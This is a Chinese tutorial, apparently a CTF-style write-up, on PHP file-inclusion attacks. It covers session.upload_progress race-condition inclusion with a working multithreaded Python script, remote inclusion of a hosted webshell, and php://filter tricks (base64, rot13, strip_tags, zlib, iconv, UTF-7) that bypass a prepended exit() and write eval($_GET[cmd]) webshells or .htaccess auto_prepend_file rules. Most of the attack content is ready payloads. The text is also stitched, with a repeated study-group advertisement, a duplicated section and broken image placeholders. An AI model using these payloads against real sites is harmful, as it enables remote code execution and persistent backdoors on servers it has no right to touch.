网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
- zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
- phar://文件路径/phar文件名称/phar内的文件名称
- phar://协议与zip://类似,同样可以访问zip格式压缩包内容
Session文件包含漏洞
- 前提条件:PHP版本>5.4.0
- 配置项:session.upload_progress.enabled的值为On
- 利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
(由于我是在Windows环境下做的测试就把限制条件去掉了)
<?php
highlight\_file(\_\_FILE\_\_);
if(isset($\_GET['file'])){
$file = $\_GET['file'];
// $file = str\_replace("php", "xxx", $file);
// $file = str\_replace("data", "xxx", $file);
// $file = str\_replace(":", "xxx", $file);
// $file = str\_replace(".", "xxx", $file);
include($file);
}else{
echo "Can you find me???";
}
?>
几个php.ini的默认选项:
session.upload_progress.enabled = on
# 表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
# 表示当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
# 表示为session中的键名
session.use_strict_mode=off
# 表示对Cookie中sessionid可控
例如:在
session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下上传文件,便会在session['upload_progress_D1no']
中储存一些本次上传相关的信息,储存在/tmp/sess_H3rmesk1t
// PHPSESSION = H3rmesk1t
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP\_SESSION\_UPLOAD\_PROGRESS" value="D1no" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置
PHP中session的存储机制:
- php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项
session.save_handler
来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid
来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path
来进行决定的
一般session的存储路径都不会怎么去改,默认的便是:
- linux:/tmp 或 /var/lib/php/session
- Windows:C:\WINDOWS\Temp
存储路径知道了,但是由于代码中没有session_start()函数,无法创建出session文件;其实如果配置项session.auto_start=On 是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的;在session中还有一个默认选项,便是上面提到的session.use_strict_mode默认值是0,用户可以自己定义SessionID
Cookie中设置:
PHPSESSID = H3rmesk1t
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_H3rmesk1t
即使此时用户没有初始化Session,PHP也会自动初始化Session
并产生一个键值,这个键值由ini.get("session.upload\_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被写入sess_文件里
还有一个问题没有解决,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用
import requests
import io
import threading
url = 'http://xxx.xxx.xx.xx:80/H3rmesk1t/demo.php'
sessID = 'H3rmesk1t'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'H3rmesk1t' \* 1024 \* 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP\_SESSION\_UPLOAD\_PROGRESS':'<?php system("cat flag");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url + '?file=/phpstudy/phpstudy\_x64/phpstudy\_pro/Extensions/tmp/sess\_{}'.format(sessID))
if 'D1no' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[\*]continued')
if __name__ == '\_\_main\_\_':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如利用下面的html上传代码上传一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/H3rmesk1t/demo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP\_SESSION\_UPLOAD\_PROGRESS" value="H3rmesk1t" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
再根据代码抓一个get的包,请求/tmp/sess_flag
同时进行爆破,payload设置成null payloads就可以一直爆破
远程包含
利用前提:
- allow_url_fopen = On 是否允许打开远程文件
- allow_url_include = On 是否允许include/require远程文件
无任何限制
代码没有任何限制,直接在公网上存放恶意webshell即可,然后通过包含即可执行恶意payload
?filename=http://xxxx/php.txt
限制包含文件的后缀名
例如:
<?php include($_GET['filename'] . ".no"); ?>
- 第一种方法:?绕过
?filename=http://xxxx/php.txt?
- 第二种方法:#绕过
?filename=http://xxxx/php.txt%23
PHP伪协议
简单理解便是PHP自己提供的一套协议,可以适用于自己的语言,其他语言则不适用,这便是伪协议,与之相对的例如HTTP\HTTPS便不是伪协议,因为大部分系统\软件都能够进行识别
常见的伪协议
可以看下之间详解PHP伪协议的内容
如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马
POST DATA
<?php fputs(fopen('H3rmesk1t.php','w'),'<?php @eval($\_GET[cmd]); ?>'); ?>
php://filter各种过滤器
php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用,详见官方文档
对于php://来说,是支持多种过滤器嵌套的,格式如下:
php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名)
# 如果|被过滤掉了,可以使用多过滤器:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名)
# 嵌套过程的执行流程为从左到右
其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别
过滤器列表
过滤器名称 | 说明 | 类别 | 版本 |
---|---|---|---|
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
string.strip_tags | 去除<?(.*?)?> 的内容 | string.strip_tags | PHP<7.3.0 |
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:
- 字符串过滤器
- string.strip_tags
- 转换过滤器
- 压缩过滤器
- 加密过滤器
PHP伪协议常用函数
注意show_source有回显,而file_get_contents是没有回显的
- file_get_contents
- file_put_contents
- readfile
- fopen
- file
- show_source
- highlight_file
file_put_content与死亡/杂糅代码
CTF经常类似考察这样的代码:
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
这种代码非常常见,在$content开头增加了exit进程,即使写入一句话也无法执行,遇到这种问题一般的解决方法便是利用伪协议
php://filter
,结合编码或相应的过滤器进行绕过;绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
第一种情况
<?php
if(isset($\_GET['file'])){
$file = $\_GET['file'];
$content = $\_POST['content'];
file\_put\_contents($file,"<?php exit();".$content);
}else{
highlight\_file(\_\_FILE\_\_);
}
base64编码绕过:
- 上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
- 使用base64编码,是因为base64只能打印64 (a-z0-9A-Z) 个可打印字符,PHP在解码base64时如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码
- 当$content被加上了
<?php exit; ?>
以后,可以使用php://filter/convert.base64-decode
来对其解码,在解码的过程中,字符<?;空格
等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符- 但是还要知道的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符
Payload:
?file=php://filter/convert.base64-decode/resource=H3rmesk1t.php
POST DATA
content=aPD9waHAgcGhwaW5mbygpOyA/Pg==
rot13编码绕过:
利用rot13编码其实和base64编码绕过原理一样,只要成为php无法进行识别的代码,就不会执行
前提是PHP没有开启short_open_tag(短标签),默认情况下是没有开启的
Payload:
<?php
$s = '<?php @eval($\_GET[cmd]); ?>';
echo str\_rot13($s)
?>
=>
<?cuc @riny($\_TRG[pzq]); ?>
?file=php://filter/write=string.rot13/resource=test1.php
POST DATA
content=<?cuc @riny($\_TRG[pzq]); ?>
嵌套绕过:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签(php7.3之后移除)
string.strip_tags
可以去除剥去字符串中的 HTML、XML 以及 PHP 的标签,而<?php exit; ?>
实际上便是一个XML标签,既然是XML标签,就可以利用strip_tags函数去除它,所以可以先将webshell用base64编码,调用完成strip_tags后再进行base64-decode,死亡exit在第一步被去除,而webshell在第二步被还原
Payload:
#php5
?file=php://filter/string.strip\_tags|convert.base64-decode/resource=test2.php
POST DATA
content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
#由于<?php exit();不是完整的标签,所以需要加上?>进行补全
但是这种方法有局限性,因为string.strip_tags在php7.3以上的环境下会发生段错误,从而导致无法写入,在php5或者php7.2的环境下则不受此影响
过滤器嵌套:
如果环境是php7的话,也可以使用过滤器嵌套的方法来做
流程是先将三个过滤器叠加之后进行压缩,然后转小写,最后再解压,这样的流程执行结束后会导致部分死亡代码错误,便可以写进去我们想要写入的shell,原理很简单,就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱,最终变成php无法识别的字符
经测试可用的Payload:
?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=a.php
POST DATA
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($\_GET[cmd]);?>/resource=a.php
或者(没试过)
content=php/:|<?php%0Dphpinfo();?>/resource=test3.php
.htaccess的预包含利用:
.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件,但只作用于当前目录,而且是只有用户访问目录时才加载,通过该文件可以实现网页301重定向,自定义404错误页面,改变文件拓展名,禁止目录列表等
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发,这时无论访问那个文件,都会解析出flag.php
php_value auto_prepend_file +文件绝对路径(默认为当前上传的目录)
Payload:
?file=php://filter/write=string.strip\_tags/resource=.htaccess
POST DATA
content=?>php_value%20auto_prepend_file%20D:\phpstudy\phpstudy_x64\phpstudy_pro\WWW\H3rmesk1t\flag.php
第二种情况
<?php
if(isset($\_GET['content'])){
$content = $\_GET['content'];
file\_put\_contents($content,"<?php exit();".$content);
}else{
highlight\_file(\_\_FILE\_\_);
}
这种情况和上面第一种便有点不同了,因为是一个变量,但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的,可以利用.htaccess进行预包含,然后读取flag
.htaccess预包含绕过:
可以直接自定义预包含文件,这里直接包含了.htaccess导致了所有文件都包含flag.php文件
这里我本机测试时无法执行.htaccess,借用了一下别人的图 (还是太菜了~~)
payload:
?content=php://filter/string.strip\_tags/?>php\_value auto\_prepend\_file D:\flag.php%0a%23/resource=.htaccess
base64编码绕过:
- 既然变成了一个变量,那么首先想到的payload便是:
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php
但是有一个问题,可以创建文件,但是无法写入内容,原因出在=号上,因为默认情况下base64编码是以=作为结尾的,在正常解码的时候到了=就解码结束了,在最后获取文件名的时候因为resource=中含有等号,所以以为解码是结束了,导致过滤器解码失败,从而报错,内容由于解码过程出错了,所以就都丢弃了- 所以现在问题就转变为了只要能去掉这个等号,就可以将内容写进去,可以看下这种方法:
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
如果按照之前的思路是先闭合死亡代码,然后再使用过滤器去除html标签,最后再进行解码,但仔细观察这个payload并非是那种解法,而是直接在内容时,就将我们base64遇到的等号这个问题直接写在<? ?>中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的目的- 除此之外还可以使用之前的思路来做,既然base64编码写在里面不行,那么就直接放在外面,然后搭配一下过滤器
php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
先闭合死亡代码,然后进行解码,这样便可以写入到文件中去,但访问的话会出现问题,查看s1mple师傅的方法,发现可以通过使用伪目录的方法,从而绕过去php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../H3rmesk1t.php
将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是后面重新撤回了原目录,生成H3rmesk1t.php文件;从而就可以生成正常的文件名,上面的那种方法也可以使用这种伪目录的方法解决访问问题
rot13编码绕过:
rot13则无需考虑=号问题
Payload:
?content=php://filter/string.rot13/<?cuc cucvasb();?>/resource=1.php
iconv字符编码绕过:
在php中iconv函数库能够完成各种字符集间的转换
在该函数库下有一个convert.iconv.
这样的过滤器,这个过滤器需要php支持iconv,而iconv是默认编译的,使用convert.iconv.*
过滤器等同于用iconv()函数处理所有的流数据
利用方式就是用此过滤器,从而进行编码的转换,转换掉死亡代码,写入自己的shell,首先先要了解一下UCS的两种编码格式UCS-2和UCS-4:
- UCS-2就是用两个字节编码
- UCS-4就是用四个字节编码
来看一下利用这个函数即不同的格式转换后的结果:
第二个之所以要加上两个字符,是因为UCS-4对目标字符串是4位一反转,所以要注意这里的恶意代码要是4的倍数,所以这里需要补上两个字符
UCS-2利用:
对目标字符串进行2位一反转
(一定要计算好长度,写入php文件中的内容在?<hp phpipfn(o;)>?
之前的一定要是2的倍数,就像下面的Payload前面的是57个字符,加了一个?凑成58字符,做题时可以通过本地测试Payload,成功后再利用)
Payload:
?content=php://filter//convert.iconv.UCS-2LE.UCS-2BE|??<hp phpipfn(o;)>?/resource=22.php
UCS-4的利用:
对目标字符串进行4位一反转,一定要拼凑够4的倍数(构造道理同UCS-2)
Payload:
?content=php://filter//convert.iconv.UCS-4LE.UCS-4BE|aaa?<ba phpiphp(ofn>?;)/resource=33.php
组合拳UTF-8/UTF-7:
上面的这种base64编码php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php
,之所以payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号,再解码时发现=没有转换回来
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
)
组合拳UTF-8/UTF-7:
上面的这种base64编码php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php
,之所以payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号,再解码时发现=没有转换回来
[外链图片转存中…(img-BeV2DVJe-1715889465603)]
[外链图片转存中…(img-4PGjcP0z-1715889465603)]
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!